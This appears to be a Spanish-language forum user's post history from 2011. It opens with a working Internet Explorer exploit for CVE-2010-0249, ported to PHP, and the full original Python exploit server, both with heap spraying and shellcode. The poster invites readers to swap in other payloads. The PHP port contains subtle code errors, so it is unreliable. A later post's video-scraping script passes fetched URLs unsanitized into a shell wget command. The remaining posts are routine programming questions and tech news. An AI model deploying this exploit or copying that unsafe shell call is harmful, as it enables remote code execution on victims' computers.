|
251
|
Seguridad Informática / Bugs y Exploits / Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)
|
en: 11 Diciembre 2011, 23:48 pm
|
Estaba revisando el CVE: http://technet.microsoft.com/en-us/security/advisory/979352Es una falla de internet explorer 7 y 8 de ejecución remota de código. Encontré un código de ejemplo en packetstorm pero en python llamado "aurora" asi que lo estudié y lo migré a php para ejecutarlo de forma online en servidores webs, solo basta con modificar el payload para jugar un poco con recursos remotos .js autoejecutables. Testeado en virtual con windows 7 internet explorer 8 y windows xp internet explorer 6. <?php if(isset($_GET['aurora'])){ header('Content-Type: image/gif'); echo "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff". "\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44". "\x01\x00\x3b"; } function convert_to_utf16($payload){ $enc_payload = ''; $num = 0; foreach(range(0, 2) as $j){ $num = $num + ((ord($payload[$i + $j]) & 0xff) << ($j * 8)); } if($num > 0) $enc_payload .= ('%%u%04x' % $num); } return $enc_payload; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <script> var obj, event_obj; function spray_heap(){ var chunk_size, payload, nopsled; chunk_size = 0x80000; payload = unescape("<?php echo convert_to_utf16( "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73". "\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e". "\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a". "\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97". "\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56". "\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85". "\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1". "\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85". "\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02". "\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e". "\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61". "\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e" ); ?>"); nopsled = unescape("%u0a0a%u0a0a"); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 200 ; i++) heap_chunks[i] = nopsled + payload; } function initialize(){ obj = new Array(); event_obj = null; for (var i = 0; i < 200 ; i++ ) obj[i] = document.createElement("COMMENT"); } function ev1(evt){ event_obj = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 1); } function ev2(){ var data, tmp; data = ""; tmp = unescape("%u0a0a%u0a0a"); for (var i = 0 ; i < 4 ; i++) data += tmp; for (i = 0 ; i < obj.length ; i++ ) obj[i].data = data; event_obj.srcElement; } function check(){ if (navigator.userAgent.indexOf("MSIE") == -1) return false; return true; } if(check()){ initialize(); spray_heap(); }else window.location = "about:blank"; </script> </head> <body> <span id="sp1"> <img src="?aurora" onload="ev1(event);"> </span> </body> </html>
El exploit original en python: http://packetstormsecurity.org/1001-exploits/ie_aurora.py.txt# # Author : Ahmed Obied (ahmed.obied@gmail.com) # # This program acts as a web server that generates an exploit to # target a vulnerability (CVE-2010-0249) in Internet Explorer. # The exploit was tested using Internet Explorer 6 on Windows XP SP2. # The exploit's payload spawns the calculator. # # Usage : python ie_aurora.py [port number] # import sys import socket from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class RequestHandler(BaseHTTPRequestHandler): def convert_to_utf16(self, payload): enc_payload = '' for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) & 0xff) << (j * 8) enc_payload += '%%u%04x' % num return enc_payload def get_payload(self): # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub # http://metasploit.com payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73' payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e' payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a' payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97' payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56' payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85' payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1' payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85' payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02' payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e' payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61' payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e' return self.convert_to_utf16(payload) def get_exploit(self): exploit = ''' <html> <head> <script> var obj, event_obj; function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x80000; payload = unescape("<PAYLOAD>"); nopsled = unescape("<NOP>"); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 200 ; i++) heap_chunks[i] = nopsled + payload; } function initialize() { obj = new Array(); event_obj = null; for (var i = 0; i < 200 ; i++ ) obj[i] = document.createElement("COMMENT"); } function ev1(evt) { event_obj = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 1); } function ev2() { var data, tmp; data = ""; tmp = unescape("%u0a0a%u0a0a"); for (var i = 0 ; i < 4 ; i++) data += tmp; for (i = 0 ; i < obj.length ; i++ ) { obj[i].data = data; } event_obj.srcElement; } function check() { if (navigator.userAgent.indexOf("MSIE") == -1) return false; return true; } if (check()) { initialize(); spray_heap(); } else window.location = 'about:blank' </script> </head> <body> <span id="sp1"> <img src="aurora.gif" onload="ev1(event)"> </span> </body> </html> ''' exploit = exploit.replace('<PAYLOAD>', self.get_payload()) exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a') return exploit def get_image(self): content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff' content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44' content += '\x01\x00\x3b' return content def log_request(self, *args, **kwargs): pass def do_GET(self): try: if self.path == '/': print print '[-] Incoming connection from %s' % self.client_address[0] self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() print '[-] Sending exploit to %s ...' % self.client_address[0] self.wfile.write(self.get_exploit()) print '[-] Exploit sent to %s' % self.client_address[0] elif self.path == '/aurora.gif': self.send_response(200) self.send_header('Content-Type', 'image/gif') self.end_headers() self.wfile.write(self.get_image()) except: print '[*] Error : an error has occured while serving the HTTP request' print '[-] Exiting ...' sys.exit(-1) def main(): if len(sys.argv) != 2: print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0] sys.exit(0) try: port = int(sys.argv[1]) if port < 1024 or port > 65535: raise ValueError try: serv = HTTPServer(('', port), RequestHandler) ip = socket.gethostbyname(socket.gethostname()) print '[-] Web server is running at http://%s:%d/' % (ip, port) try: serv.serve_forever() except: print '[-] Exiting ...' except socket.error: print '[*] Error : a socket error has occurred' sys.exit(-1) except ValueError: print '[*] Error : an invalid port number was given' sys.exit(-1) if __name__ == '__main__': main()
|
|
|
252
|
Programación / Desarrollo Web / Alternativa al setinterval o sleep en javascript
|
en: 6 Diciembre 2011, 14:02 pm
|
A veces necesitamos hacer un sleep sin utilizar setinterval o settimeout, me ha pasado a mi por diferentes motivos y se me ocurrió hacer un pequeño script que utiliza animaciones para retardar la ejecución del resto del código, se que no es algo nuevo pero talves le pueda servir a algunos <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> $(document).ready(function(){ function check(){ /* Mi código acá */ /* sleep */ $('#sleep').fadeOut('slow', function(){ $('#sleep').fadeIn('slow', check()); }); } check(); });
Un reloj con esto: <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> $(document).ready(function(){ function check(){ var h = new Date(); $('#reloj').text(h.getHours() + ':' + h.getMinutes() + ':' + h.getSeconds()); /* sleep */ $('#sleep').fadeOut(1000, function(){ /* 1 segundo de intervlo */ $('#sleep').fadeIn(0, check()); }); } check(); });
Saludos.
|
|
|
253
|
Foros Generales / Foro Libre / Hackearon el twitter de Movistar (Chile)
|
en: 2 Diciembre 2011, 15:36 pm
|
Uno se encuentra con cada cosa cuando enciende la pc xD Los que tengan una cuenta de twitter recuerden nunca dar datos cuando te los soliciten por correo y pongan siempre contraseñas seguras, por lo menos de 7 carácteres con letras y números.
|
|
|
254
|
Foros Generales / Foro Libre / A Facebook no le agrada firefox?
|
en: 30 Noviembre 2011, 18:03 pm
|
No es la primera ves, ya muchas veces que uno quiere ver facebook pareciera que la hoja de estilo no existe y se ve todo mal, solo textos sueltos o se desconfiguran los bloques. A pesar de que esto suceda una ves al mes o menos lo raro es que solamente le afecta a mozilla firefox y no es un problema de caché. Será algo relacionado con la alianza de microsoft y facebook? habrán "incentivos" para que facebook decida hacer que la gente cambie de explorador? La consola de errores de firefox se dispara cuando cargo la página: Es normal que tengan fallas o estén arreglando partes, pero que solo ocurra con firefox? no será un intento de sepultar a uno de sus mayores competidores?
|
|
|
255
|
Comunicaciones / Android / No puedo actualizar firmware de motorola charm mb502
|
en: 19 Noviembre 2011, 23:46 pm
|
Me pasaron un motorola de un amigo porque le actualizaron el firmware y ahora no funciona el wifi, dice que no se pudo iniciar el dispositivo. Quería volver a instalar otro rom pero me ha costado trabajo encontrar algo que le pueda servir. Encontré esta web: http://and-developers.com/sbf:mb502Me bajé el rom version Blur_Version.0.2.6005.MB502.T-Mobile.en.US El original que tiene este cel es Blur_version.0.0.2397.MB502.TELUS.en.CA Pero cuando lo reinicio y entro a la consola de recuperación le marco la opción que dice apply sdcard:update.zip y cominzan a salir letras amarillas muy rapidisimo y al final vuelve al mismo menú despues de 2 segundos y no alcanzo a ver nada de lo que decia y no se puede bajar la pantalla. Le puse el rom en un zip con el nombre de update y sin comprimir también con el mismo nombre pero no pasa nada :-/ Alguien sabe que estoy haciendo mal o que puedo hacer al respecto?, he encontrado muy poca información sobre el reseteo del mb502, igual traté de darle la opción de volver a estado de fabrica desde el mismo menú de recuperación y se resetea todo menos el sistema operativo.
|
|
|
256
|
Programación / PHP / Script para descargar todo dragon ball y dragon ball z en tu servidor
|
en: 19 Noviembre 2011, 20:56 pm
|
Estaba viendo dragon ball desde dblatino.com y vi que casi todos los enlaces tienen el mismo formato y visualización y 4shared tiene visualización directa de archivos flv asi que hize un script y estoy descargando todos los archivos Talves le sirva a alguien si quieren tenerlo en sus sevidores para no tener que andar haciendo streaming Lo único que hay que hacer es crear un directorio llamado "out" al lado del archivo php y darle permisos de escritura. El script se ejecuta preferentemente desde la consola <?php echo "\nCargando configuraciones y creando enlaces...\n"; echo "."; /* Matriz de enlaces */ 'base_url' => 'http://www.dblatino.com/dbz/', 'limite' => 291 ), 'base_url' => 'http://www.dblatino.com/db/', 'limite' => 153 ) ); /* Matiz de enlaces compuestos */ foreach($enlaces as $enlace){ for($cuenta = 1; $cuenta <= $enlace['limite']; $cuenta++){ echo "."; 'href' => $enlace['base_url'].(int)$cuenta.'.htm', 'out' => (int)$cuenta.'.flv' ); 'href' => $enlace['base_url'].(int)$cuenta.'b.htm', 'out' => (int)$cuenta.'b.flv' ); } } echo "\nProcesando enlaces...\n"; foreach($links as $enlace){ echo "Procesando ".$enlace['href']." ...\n"; /* Es 4shared? */ if(str_replace('4shared.com', '', $buffer) != $buffer){ $buffer = explode('<embed src="http://www.4shared.com/', $buffer); $buffer = explode('"', $buffer[1]); $buffer = 'http://www.4shared.com/'.$buffer[0]; /* Solicita la url del flv */ echo " Solicitando enlace real *.flv...\n"; $buffer, false, ); /* Filtra la redirección */ foreach($http_response_header as $header){ $buffer = $head[1]; break; } } if(substr($buffer, 0, 14) == 'http://static.'){ /* Es stream? */ $buffer = explode('streamer=', $buffer); $buffer = explode('.flv', $buffer[1]); $buffer = $buffer[0].'.flv'; /* Obtiene el video */ echo " Descargando el video...\n"; system('wget '.$buffer.' -O "'.dirname(__file__).'/out/'.$enlace['out'].'"'); echo " Video descargado y guardado correctamente.\n"; else echo " Imposible descargar archivo.\n"; /* if($buffer = file_get_contents($buffer)){ // Guarda el video echo " Guardando...\n"; if(file_put_contents(dirname(__file__).'/out/'.$enlace['out'], $buffer)) echo " Video descargado y guardado correctamente.\n"; else echo " Imposible guardar el archivo.\n"; unset($buffer); // Libera la memoria }else echo " Imposible descargar archivo.\n"; */ }else echo " Imposible pharsear redireccion.\n"; }else echo " El enlace no es 4shared.\n"; } ?>
Preferí usar wget para poder ir viendo el progreso de descarga y evitar sobrecargas. Si alguien lo quiere hechar a correr en una pc con windows puede adjuntar el wget.exe que por ahi anda en internet. Enjoy.
|
|
|
257
|
Programación / .NET (C#, VB.NET, ASP) / Descargar archivo sin que se frize el form
|
en: 4 Octubre 2011, 05:34 am
|
Siempre he hecho aplicaciones en .net descargando archivos pero ahora necesito si o si que no se me frize el form mientras se descarga algo. Normalmente cuando ejecutas request.GetResponse() en un objeto WebRequest el form se congela y cuando finaliza la respuesta del servidor ahi recién se descongela. Recuerdo hace años que en vb6 eso no pasaba, uno porque usabas control de usuarios para los sockets y todo era con subs en hilos de proceso y con inet tampoco se frizaba el form, simplemente la función no continuaba pero no comprometía el form. Como lo hago en .net? Por ahora hize un pequeño código: Imports System.IO Imports System.Net Public Class Form1 Private Sub SalirToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SalirToolStripMenuItem.Click End End Sub Private Sub ConectarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ConectarToolStripMenuItem.Click Timer1.Enabled = True Timer1.Start() End Sub Private Sub Process_data(ByVal Data As String) ' Constructor... End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Estado.Text = "Conectando ..." Application.DoEvents() ' Create a request for the URL. Dim request As WebRequest = WebRequest.Create("http://wordpress.org/latest.zip") ' If required by the server, set the credentials. request.Credentials = CredentialCache.DefaultCredentials ' Get the response. Dim response As HttpWebResponse = CType(request.GetResponse(), HttpWebResponse) ' Display the status. Console.WriteLine(response.StatusDescription) ' Get the stream containing content returned by the server. Dim dataStream As Stream = response.GetResponseStream() ' Open the stream using a StreamReader for easy access. Dim reader As New StreamReader(dataStream) ' Read the content. Dim responseFromServer As String = reader.ReadToEnd() ' Display the content. Dim Content As String = responseFromServer ' Cleanup the streams and the response. reader.Close() dataStream.Close() response.Close() Process_data(Content) Estado.Text = "Datos obtenidos" End Sub Private Sub DesconectarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DesconectarToolStripMenuItem.Click Timer1.Enabled = False Timer1.Stop() End Sub End Class
Realmente puse ese zip como ejemplo pero en la práctica será un chat y no quiero que rapte el form mientras descarga las actualizaciones cada 4 segundos de un xml. También intenté con Response.GetResponseStream().Read(...
Me puse a leer de a 1024 bytes con un application.doevents() pero aun asi, igual se friza el form mientras hace las consultas.
|
|
|
258
|
Foros Generales / Noticias / Windows 8 podría impedir la instalación de Linux
|
en: 26 Septiembre 2011, 18:09 pm
|
Un cruce de competencias entre sistemas operativos podría afectar a Linux con la llegada de Windows 8, cuya instalación en cualquier PC podría impedirse tras la certificación del nuevo sistema operativo de Microsoft. Esto es debido a que los ordenadores personales diseñados para Windows 8 utilizarán un hardware basado en un nuevo protocolo de arranque, conocido como Unified Extensible Firmware Interface. UEFI es una nueva generación de arranque alternativa al estándar BIOS, que previene que se carguen sistemas operativos que no estén aprobados oficialmente por una autoridad certificadora. Esto afecta tanto a fabricantes de software como de hardware, según explica un desarrollador de Red Hat, Matthew Garrett en su blog. En esencia, esta tecnología está diseñada para proteger contra 'rootkits' y otros ataques de bajo nivel mediante la restricción de ejecutables y controladores que no lleven la firma dedicada a UEFI, según indica Microsoft en una presentación de Windows 8. Esto supondría que los equipos que lleven certificados para el uso de Windows 8 con UEFI, se verían obligados a bloquear el arranque e instalación de otros sistemas operativos, como Linux, hasta que Microsoft los considere como seguros. La medida también afectaría a sistemas que utilicen su propia 'kernel' (núcleo), según explica Garrett. Esta posible restricción de entrada a otros sistemas como Linux, podría reactivar el debate sobre el cruce de competencias en el mercado informático. De momento, se desconoce si Microsoft proveerá a los vendedores soporte de 'firmware' capaz de deshabilitar esta opción, y ejecutar código de otros fabricantes. Fuente: http://www.europapress.es/portaltic/software/noticia-windows-podria-impedir-instalacion-linux-20110922133913.html
|
|
|
259
|
Foros Generales / Noticias / Soporte para CPUs de cuatro núcleos encontrado en Xcode
|
en: 26 Septiembre 2011, 17:58 pm
|
Aún no tenemos CPUs de doble nucleo en un iPhone, aunque si en el iPad – pero ya se han encontrado referencias en Xcode a procesadores de hasta cuatro núcleos, basados en la arquitectura ARM que mueve los dispositivos iOS de Apple. Xcode es la principal herramienta de desarrollo de software utilizada por Apple en su SDK (y por ende por los desarrolladores de Apps para iOS) y el soporte para este tipo de procesador, probablemente quiera decir que existen prototipos de dispositivos iOS en Apple que tienen una CPU de cuatro núcleos, o incluso que existen Macbooks con CPUs ARM, que es otra de las posibilidades (Aunque mucho más remota). Lo que vemos sobre estas líneas, son referencias a un tipo de arquitectura ARM llamada armv7k y un tipo de CPU pj4b, que resumiendo, se trata de un procesador ARM de nueva arquitectura y cuatro núcleos. Antes de que nadie se piense cosas raras, no existe la más remota posibilidad de que presenten un iPhone de cuatro núcleos este año, así que nadie sueñe con eso (todavía ) porque este pequeño hallazgo sólo significa que ya se pueden compilar programas para esta arquitectura de ARM, incluso si el hardware aún no existe. Fuente: http://blog.drawcoders.com/2011/09/26/soporte-para-cpus-de-cuatro-nucleos-encontrado-en-xcode/
|
|
|
|
|
|
|